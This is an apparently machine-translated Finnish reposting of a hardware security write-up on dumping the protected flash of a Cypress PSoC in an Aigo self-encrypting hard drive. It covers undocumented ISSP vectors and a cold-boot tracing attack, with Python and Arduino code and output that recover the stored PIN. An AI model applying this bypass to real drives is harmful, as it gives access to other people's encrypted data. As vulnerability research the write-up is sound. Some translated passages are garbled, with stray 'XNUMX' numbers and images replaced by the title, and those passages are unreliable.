Kääntäminen ja hakkerointi Aigo itsesalaava ulkoinen HDD-asema. Osa 2: Kaatopaikan ottaminen Cypress PSoC:sta

Tämä on ulkoisten itsesalaavien asemien hakkerointia koskevan artikkelin toinen ja viimeinen osa. Haluan muistuttaa, että kollegani toi minulle äskettäin Patriot (Aigo) SK8671 -kiintolevyn, ja päätin kääntää sen takaisin, ja nyt kerron, mitä siitä tuli. Ennen kuin luet lisää, muista lukea ensimmäinen osa artikkeli.

4. Aloitamme vedosten poistamisen sisäisestä PSoC-flash-asemasta
5. ISSP-protokolla
– 5.1. Mikä on ISSP
– 5.2. Demystifioivat vektorit
– 5.3. Yhteydenpito PSoC:n kanssa
– 5.4. Sirujen rekisterien tunnistaminen
– 5.5. Turvaosat
6. Ensimmäinen (epäonnistunut) hyökkäys: ROMX
7. Toinen hyökkäys: Cold Boot Tracing
– 7.1. Toteutus
– 7.2. Tuloksen lukeminen
– 7.3. Flash-binäärirekonstruktio
– 7.4. PIN-koodin tallennusosoitteen löytäminen
– 7.5. Lohkon nro 126 kaatopaikka
– 7.6. PIN-koodin palautus
8. Mitä seuraavaksi?
9. Päätelmä

Kääntäminen ja hakkerointi Aigo itsesalaava ulkoinen HDD-asema. Osa 2: Kaatopaikan ottaminen Cypress PSoC:sta


4. Aloitamme vedosten poistamisen sisäisestä PSoC-flash-asemasta

Joten kaikki osoittaa (kuten totesimme [ensimmäisessä osassa]()), että PIN-koodi on tallennettu PSoC:n salaman syvyyksiin. Siksi meidän on luettava nämä välähdyssyvyydet. Tarvittavat työt edessä:

  • hallitse "kommunikaatiota" mikro-ohjaimen kanssa;
  • löytää tapa tarkistaa, onko tämä "viestintä" suojattu lukemiselta ulkopuolelta;
  • löytää keino ohittaa suojaus.

Kelvollista PIN-koodia kannattaa etsiä kahdesta paikasta:

  • sisäinen flash-muisti;
  • SRAM, johon pin-koodi voidaan tallentaa vertaamaan sitä käyttäjän syöttämään PIN-koodiin.

Tulevaisuudessa huomaan, että onnistuin silti poistamaan sisäisen PSoC-flash-aseman - ohitin sen turvajärjestelmän käyttämällä laitteistohyökkäystä, jota kutsutaan "kylmäkäynnistyksen jäljittämiseksi" - sen jälkeen, kun ISSP-protokollan dokumentoimattomat ominaisuudet kumottiin. Tämä antoi minulle mahdollisuuden jättää varsinaisen PIN-koodin suoraan.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Lopullinen ohjelmakoodi:

5. ISSP-protokolla

5.1. Mikä on ISSP

"Kommunikointi" mikro-ohjaimen kanssa voi tarkoittaa eri asioita: "toimittajasta toimittajalle" vuorovaikutukseen sarjaprotokollan avulla (esimerkiksi ICSP Microchipin PIC:lle).

Cypressillä on tätä varten oma protokolla, nimeltään ISSP (in-system serial programming protocol), joka on osittain kuvattu tekniset ominaisuudet. Patentti US7185162 antaa myös tietoa. On myös OpenSource-vastine nimeltä HSSP (käytämme sitä hieman myöhemmin). ISSP toimii seuraavasti:

  • käynnistä PSoC uudelleen;
  • tulosta maaginen numero tämän PSoC:n sarjadatapintaan; siirtyäksesi ulkoiseen ohjelmointitilaan;
  • lähettää komentoja, jotka ovat pitkiä bittijonoja, joita kutsutaan "vektoreiksi".

ISSP-dokumentaatio määrittelee nämä vektorit vain pienelle kouralle komentoja:

  • Alusta-1
  • Alusta-2
  • Initialize-3 (3V ja 5V vaihtoehdot)
  • ID-SETUP
  • LUE-ID-SANA
  • SET-BLOCK-NUM: 10011111010dddddddd111, jossa dddddddd=lohko #
  • BULK POISTAA
  • OHJELMA-LOKKO
  • VAHVISTA-ASETUS
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, jossa DDDDDDDD = data ulos, aaaaaa = osoite (6 bittiä)
  • WRITE-BYTE: 10010aaaaaaddddddd111, jossa dddddddd = data sisään, aaaaaa = osoite (6 bittiä)
  • SECURE
  • TARKISTUSSUMA-ASETUS
  • LUE-TARKISTUSSUMA: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, missä DDDDDDDDDDDDDDDDDD = data ulos: laitteen tarkistussumma
  • POISTA ESTO

Esimerkiksi Initialize-2:n vektori:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Kaikilla vektoreilla on sama pituus: 22 bittiä. HSSP-dokumentaatiossa on lisätietoa ISSP:stä: "ISSP-vektori ei ole muuta kuin bittisekvenssi, joka edustaa käskyjoukkoa."

5.2. Demystifioivat vektorit

Selvitetään mitä täällä tapahtuu. Aluksi oletin, että nämä samat vektorit olivat M8C-käskyjen raakaversioita, mutta tarkastettuani tämän hypoteesin huomasin, että operaatioiden opkoodit eivät täsmänneet.

Sitten googletin yllä olevaa vektoria ja törmäsin tässä se on tutkimus, jossa kirjoittaja, vaikka hän ei mene yksityiskohtiin, antaa hyödyllisiä vinkkejä: "Jokainen käsky alkaa kolmella bitillä, jotka vastaavat yhtä neljästä muistiinpanosta (lue RAM-muistista, kirjoita RAM:iin, lue rekisteri, kirjoitusrekisteri). Sitten on 8 osoitebittiä, jota seuraa 8 databittiä (luku tai kirjoitus) ja lopuksi kolme lopetusbittiä.

Sitten pystyin poimimaan erittäin hyödyllistä tietoa "Supervisory ROM (SROM)" -osiosta tekninen käsikirja. SROM on PSoC:n kovakoodattu ROM, joka tarjoaa aputoimintoja (samalla tavalla kuin Syscall) käyttäjätilassa ajettavalle ohjelmakoodille:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: Taulukkolukeminen
  • 07h: Tarkistussumma
  • 08h: Kalibroi0
  • 09h: Kalibroi1

Vertaamalla vektorien nimiä SROM-funktioihin voimme kartoittaa tämän protokollan tukemat erilaiset toiminnot odotettuihin SROM-parametreihin. Tämän ansiosta voimme purkaa ISSP-vektorien kolme ensimmäistä bittiä:

  • 100 => "wrem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

Kuitenkin täydellinen ymmärrys sirulla olevista prosesseista voidaan saavuttaa vain suoran yhteyden kautta PSoC:n kanssa.

5.3. Yhteydenpito PSoC:n kanssa

Koska Dirk Petrautsky on jo tehnyt siirretty Cypressin HSSP-koodi Arduinossa, käytin Arduino Unoa yhteyden muodostamiseen näppäimistön ISSP-liittimeen.

Huomaa, että tutkimukseni aikana muutin Dirkin koodia melkoisesti. Löydät muokkaukseni GitHubista: täällä ja vastaava Python-skripti Arduinon kanssa kommunikointiin, arkistossani cypress_psoc_tools.

Joten, käyttämällä Arduinoa, käytin ensin vain "virallisia" vektoreita "viestintään". Yritin lukea sisäistä ROM-muistia VERIFY-komennolla. Kuten odotettiin, en pystynyt tekemään tätä. Luultavasti johtuu siitä, että lukusuojabitit on aktivoitu flash-aseman sisällä.

Sitten loin muutamia omia yksinkertaisia ​​vektoreita muistin/rekisterien kirjoittamista ja lukemista varten. Huomaa, että voimme lukea koko SROM-levyn, vaikka flash-asema on suojattu!

5.4. Sirujen rekisterien tunnistaminen

Tarkastellessani "purkattuja" vektoreita huomasin, että laite käyttää dokumentoimattomia rekistereitä (0xF8-0xFA) määrittääkseen M8C-operaatiokoodit, jotka suoritetaan suoraan, ohittaen suojauksen. Tämä antoi minulle mahdollisuuden suorittaa erilaisia ​​​​operaatiokoodeja, kuten "ADD", "MOV A, X", "PUSH" tai "JMP". Heidän ansiostaan ​​(katsomalla niiden sivuvaikutuksia rekistereihin) pystyin määrittämään, mitkä dokumentoimattomista rekistereistä olivat todella tavallisia rekistereitä (A, X, SP ja PC).

Tämän seurauksena HSSP_disas.rb-työkalun luoma "purettu" koodi näyttää tältä (lisäsin selvyyden vuoksi kommentteja):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Turvaosat

Tässä vaiheessa voin jo kommunikoida PSoC:n kanssa, mutta minulla ei vieläkään ole luotettavaa tietoa flash-aseman suojausbiteista. Olin hyvin yllättynyt siitä, että Cypress ei tarjoa laitteen käyttäjälle mitään keinoa tarkistaa, onko suojaus aktivoitunut. Kaivoin syvemmälle Googleen ymmärtääkseni vihdoin, että Cypressin tarjoama HSSP-koodi päivitettiin sen jälkeen, kun Dirk julkaisi muokkauksensa. Ja niin! Tämä uusi vektori on ilmestynyt:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Käyttämällä tätä vektoria (katso read_security_data psoc.py:ssä) saamme kaikki suojausbitit SRAM:ssa arvolla 0x80, jossa on kaksi bittiä suojattua lohkoa kohden.

Tulos on masentava: kaikki on suojattu "poista ulkoinen lukeminen ja kirjoittaminen käytöstä" -tilassa. Siksi emme vain voi lukea mitään flash-asemalta, emmekä myöskään kirjoittaa mitään (esimerkiksi asentaaksesi ROM-dumperin sinne). Ja ainoa tapa poistaa suojaus käytöstä on tyhjentää koko siru kokonaan. 🙁

6. Ensimmäinen (epäonnistunut) hyökkäys: ROMX

Voimme kuitenkin kokeilla seuraavaa temppua: koska meillä on kyky suorittaa mielivaltaisia ​​opkoodeja, miksi ei suoritettaisi ROMX:ää, jota käytetään flash-muistin lukemiseen? Tällä lähestymistavalla on hyvät mahdollisuudet menestyä. Koska ReadBlock-toiminto, joka lukee tietoja SROM:ista (jota vektorit käyttävät), tarkistaa, kutsutaanko sitä ISSP:ltä. ROMX-operaatiokoodissa ei kuitenkaan välttämättä ole tällaista tarkistusta. Joten tässä on Python-koodi (sen jälkeen, kun on lisätty muutama apuluokka Arduino-koodiin):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Valitettavasti tämä koodi ei toimi. 🙁 Tai pikemminkin se toimii, mutta lähdössä saamme omat opcodemme (0x28 0x30 0x40)! En usko, että laitteen vastaava toiminnallisuus on lukusuojauksen elementti. Tämä on enemmän kuin suunnittelutemppu: ulkoisia opkoodeja suoritettaessa ROM-väylä ohjataan väliaikaiseen puskuriin.

7. Toinen hyökkäys: Cold Boot Tracing

Koska ROMX-temppu ei toiminut, aloin miettiä toista muunnelmaa tästä tempusta - kuvattu julkaisussa "Liian paljon valoa mikro-ohjaimen laiteohjelmistosuojaukseen".

7.1. Toteutus

ISSP-dokumentaatio tarjoaa seuraavan vektorin CHECKSUM-SETUP:lle:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Tämä kutsuu olennaisesti SROM-toimintoa 0x07, kuten dokumentaatiossa on esitetty (kursivointi minun):

Tämän toiminnon tarkistussumman tarkistus. Se laskee 16-bittisen tarkistussumman käyttäjän määrittämien lohkojen määrästä yhdessä flash-pankissa nollasta alkaen. BLOCKID-parametrilla välitetään tarkistussummaa laskettaessa käytettyjen lohkojen määrä. Arvo "1" laskee vain tarkistussumman lohkolle nolla; kun taas "0" laskee flash-pankin kaikkien 256 lohkon kokonaistarkistussumman. 16-bittinen tarkistussumma palautetaan KEY1:n ja KEY2:n kautta. KEY1-parametri tallentaa tarkistussumman alemman kertaluvun 8 bittiä ja KEY2-parametri tallentaa korkean kertaluvun 8 bittiä. Laitteissa, joissa on useita flash-pankkeja, tarkistussummatoimintoa kutsutaan jokaiselle erikseen. Pankkinumero, jolla se toimii, asetetaan FLS_PR1-rekisterillä (asettamalla siinä oleva kohde flash-pankkia vastaava bitti).

Huomaa, että tämä on yksinkertainen tarkistussumma: tavut yksinkertaisesti lisätään peräkkäin; ei mitään hienoja CRC-omituuksia. Lisäksi, tietäen, että M8C-ytimessä on hyvin pieni joukko rekistereitä, oletin, että tarkistussummaa laskettaessa väliarvot tallennetaan samoihin muuttujiin, jotka lopulta menevät ulostuloon: KEY1 (0xF8) / KEY2 ( 0xF9).

Joten teoriassa hyökkäykseni näyttää tältä:

  1. Yhdistämme ISSP:n kautta.
  2. Aloitamme tarkistussumman laskemisen CHECKSUM-SETUP-vektorilla.
  3. Käynnistämme prosessorin uudelleen tietyn ajan kuluttua T.
  4. Luimme RAM-muistin saadaksemme nykyisen tarkistussumman C.
  5. Toista vaiheet 3 ja 4 lisäämällä T hieman joka kerta.
  6. Palautamme tiedot flash-asemalta vähentämällä edellinen tarkistussumma C nykyisestä.

On kuitenkin olemassa ongelma: Initialize-1-vektori, joka meidän on lähetettävä uudelleenkäynnistyksen jälkeen, korvaa KEY1 ja KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Tämä koodi korvaa arvokkaan tarkistussummamme kutsumalla Calibrate1:tä (SROM-toiminto 9)... Ehkä voimme vain lähettää maagisen numeron (yllä olevan koodin alusta) ohjelmointitilaan ja lukea sitten SRAM-muistin? Ja kyllä, se toimii! Tämän hyökkäyksen toteuttava Arduino-koodi on melko yksinkertainen:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Lue checkum_delay.
  2. Suorita tarkistussummalaskenta (send_checksum_v).
  3. Odota tietty aika; ottaen huomioon seuraavat sudenkuopat:
    • Hukkaan paljon aikaa, kunnes sain selville, mitä siitä tulee viive mikrosekuntia toimii oikein vain viiveillä, jotka eivät ylitä 16383 μs;
    • ja sitten taas tappoi saman verran aikaa, kunnes huomasin, että delayMicroseconds, jos sille syötetään 0, toimii täysin väärin!
  4. Käynnistä PSoC uudelleen ohjelmointitilaan (lähetämme vain maagisen numeron lähettämättä alustusvektoreita).

Pythonin lopullinen koodi:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Lyhyesti sanottuna, mitä tämä koodi tekee:

  1. Käynnistää PSoC:n uudelleen (ja lähettää sille maagisen numeron).
  2. Lähettää täydet alustusvektorit.
  3. Kutsuu Arduino-funktiota Cmnd_STK_START_CSUM (0x85), jossa viive mikrosekunteina välitetään parametrina.
  4. Lukee tarkistussumman (0xF8 ja 0xF9) ja dokumentoimattoman rekisterin 0xF1.

Tämä koodi suoritetaan 10 kertaa 1 mikrosekunnissa. 0xF1 sisältyy tähän, koska se oli ainoa rekisteri, joka muuttui tarkistussummaa laskettaessa. Ehkä se on jonkinlainen väliaikainen muuttuja, jota aritmeettinen logiikkayksikkö käyttää. Huomaa ruma hakkeri, jota käytän Arduinon nollaamiseen picocomilla, kun Arduino lakkaa näyttämästä elonmerkkejä (ei aavistustakaan miksi).

7.2. Tuloksen lukeminen

Python-skriptin tulos näyttää tältä (yksinkertaistettu luettavuuden vuoksi):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Tästä huolimatta meillä on ongelma: koska toimimme todellisella tarkistussummalla, nollatavu ei muuta luettua arvoa. Koska koko laskentaprosessi (8192 tavua) kuitenkin kestää 0,1478 sekuntia (pienillä vaihteluilla joka kerta, kun se ajetaan), mikä vastaa noin 18,04 μs tavua kohti, voimme käyttää tätä aikaa tarkistussumman arvon tarkistamiseen sopivina aikoina. Ensimmäisillä ajoilla kaikki luetaan melko helposti, koska laskennallisen menettelyn kesto on aina lähes sama. Tämän vedoksen loppu on kuitenkin vähemmän tarkka, koska kunkin ajon "pienet ajoituspoikkeamat" kasvavat merkittäviksi:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Se on 10 pudotusta jokaista mikrosekunnin viivettä kohden. Flash-aseman kaikkien 8192 tavun tyhjentämisen kokonaiskäyttöaika on noin 48 tuntia.

7.3. Flash-binäärirekonstruktio

En ole vielä kirjoittanut koodia, joka rekonstruoi kokonaan flash-aseman ohjelmakoodin ottaen huomioon kaikki aikapoikkeamat. Olen kuitenkin jo palauttanut tämän koodin alun. Varmistaakseni, että tein sen oikein, purin sen m8cdisillä:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Näyttää aika uskottavalta!

7.4 PIN-koodin tallennusosoitteen löytäminen

Nyt kun voimme lukea tarkistussumman tarvittavinaan aikoina, voimme helposti tarkistaa, kuinka ja missä se muuttuu, kun:

  • syötä väärä PIN-koodi;
  • muuta pin-koodia.

Ensin likimääräisen tallennusosoitteen löytämiseksi tein tarkistussummavedoksen 10 ms:n välein uudelleenkäynnistyksen jälkeen. Sitten annoin väärän PIN-koodin ja tein samoin.

Tulos ei ollut kovin miellyttävä, koska muutoksia oli paljon. Mutta lopulta pystyin määrittämään, että tarkistussumma muuttui jossain 120000 140000 µs ja 0 XNUMX µs viiveen välillä. Mutta "pin-koodi", jonka näytin siellä, oli täysin virheellinen - johtuen delayMicroseconds-menettelyn artefakista, joka tekee outoja asioita, kun sille välitetään XNUMX.

Sitten, kun olin viettänyt melkein 3 tuntia, muistin, että SROM-järjestelmäkutsu CheckSum saa syötteenä argumentin, joka määrittää tarkistussumman lohkojen lukumäärän! Että. voimme helposti paikantaa PIN-koodin tallennusosoitteen ja ”virheyritysten” laskurin jopa 64-tavun lohkon tarkkuudella.

Ensimmäiset juoksut tuottivat seuraavan tuloksen:

Kääntäminen ja hakkerointi Aigo itsesalaava ulkoinen HDD-asema. Osa 2: Kaatopaikan ottaminen Cypress PSoC:sta

Sitten vaihdoin PIN-koodin "123456":sta "1234567" ja sain:

Kääntäminen ja hakkerointi Aigo itsesalaava ulkoinen HDD-asema. Osa 2: Kaatopaikan ottaminen Cypress PSoC:sta

Näin ollen PIN-koodi ja virheellisten yritysten laskuri näyttävät olevan tallennettuna lohkoon nro 126.

7.5 Lohkon nro 126 kaatopaikka

Lohkon #126 pitäisi sijaita jossain noin 125x64x18 = 144000μs, tarkistussummalaskennan alusta, täydessä kaatopaikassani, ja se näyttää melko uskottavalta. Sitten, kun olin seulonut manuaalisesti useita virheellisiä vedoksia (johtuen kertyneistä "pienistä ajoituspoikkeamista"), päädyin saamaan nämä tavut (viiveellä 145527 μs):

Kääntäminen ja hakkerointi Aigo itsesalaava ulkoinen HDD-asema. Osa 2: Kaatopaikan ottaminen Cypress PSoC:sta

On aivan selvää, että PIN-koodi on tallennettu salaamattomassa muodossa! Näitä arvoja ei tietenkään ole kirjoitettu ASCII-koodeilla, mutta kuten käy ilmi, ne heijastavat kapasitiiviselta näppäimistöltä otettuja lukemia.

Lopuksi suoritin vielä joitain testejä löytääkseni, mihin huonojen yritysten laskuri oli tallennettu. Tässä tulos:

Kääntäminen ja hakkerointi Aigo itsesalaava ulkoinen HDD-asema. Osa 2: Kaatopaikan ottaminen Cypress PSoC:sta

0xFF - tarkoittaa "15 yritystä" ja se pienenee jokaisella epäonnistuneella yrityksellä.

7.6 PIN-koodin palautus

Tässä on ruma koodini, joka yhdistää yllä olevat asiat:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Tässä on sen toteutuksen tulos:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hurraa! Toimii!

Huomaa, että käyttämäni latenssiarvot liittyvät todennäköisesti yhdelle tietylle PSoC:lle - sille, jota käytin.

8. Mitä seuraavaksi?

Tehdään siis yhteenveto PSoC-puolelta Aigo-asemamme yhteydessä:

  • voimme lukea SRAM-muistia, vaikka se olisi lukusuojattu;
  • Voimme ohittaa pyyhkäisyn eston käyttämällä kylmäkäynnistysjäljityshyökkäystä ja lukemalla suoraan PIN-koodin.

Hyökkäyksessämme on kuitenkin joitain virheitä synkronointiongelmien vuoksi. Sitä voitaisiin parantaa seuraavasti:

  • kirjoittaa apuohjelma, joka purkaa oikein "kylmän käynnistysjäljityksen" hyökkäyksen seurauksena saadut lähtötiedot;
  • käytä FPGA-vempainta tarkempien aikaviiveiden luomiseen (tai käytä Arduino-laitteistoajastimia);
  • kokeile toista hyökkäystä: anna tarkoituksella väärä PIN-koodi, käynnistä uudelleen ja tyhjennä RAM toivoen, että oikea PIN-koodi tallennetaan RAM-muistiin vertailua varten. Tämä ei kuitenkaan ole niin helppoa Arduinolla, koska Arduinon signaalitaso on 5 volttia, kun taas tarkastelemamme kortti toimii 3,3 voltin signaaleilla.

Yksi mielenkiintoinen asia, jota voitaisiin kokeilla, on leikkiä jännitetasolla lukusuojan ohittamiseksi. Jos tämä lähestymistapa toimisi, voisimme saada ehdottoman tarkkoja tietoja flash-asemasta - sen sijaan, että luottaisimme tarkistussumman lukemiseen epätarkoilla ajoitusviiveillä.

Koska SROM todennäköisesti lukee suojabitit ReadBlock-järjestelmäkutsun kautta, voisimme tehdä saman kuin kuvattu Dmitri Nedospasovin blogissa - konferenssissa julkistettu Chris Gerlinskin hyökkäyksen uudelleentoteutus "REcon Brussels 2017".

Toinen hauska asia, jonka voisi tehdä, on irrottaa kotelo sirusta: ottaa SRAM-vedos, tunnistaa dokumentoimattomat järjestelmäkutsut ja haavoittuvuudet.

9. Päätelmä

Joten tämän aseman suojaus jättää paljon toivomisen varaa, koska se käyttää tavallista (ei "karkaistua") mikro-ohjainta tallentaakseen PIN-koodin... Lisäksi en ole (vielä) katsonut kuinka datan kanssa menee salaus tällä laitteella!

Mitä voit suositella Aigolle? Analysoituani pari mallia salatuista kiintolevyasemista tein vuonna 2015 esittely SyScanissa, jossa hän tutki useiden ulkoisten kiintolevyasemien tietoturvaongelmia ja teki suosituksia, mitä niissä voitaisiin parantaa. 🙂

Vietin kaksi viikonloppua ja useita iltoja tämän tutkimuksen tekemiseen. Yhteensä noin 40 tuntia. Laskeminen aivan alusta (kun avasin levyn) loppuun (PIN-koodivedos). Samaan 40 tuntiin sisältyy aika, jonka käytin tämän artikkelin kirjoittamiseen. Se oli erittäin jännittävä matka.

Lähde: will.com

Lisää kommentti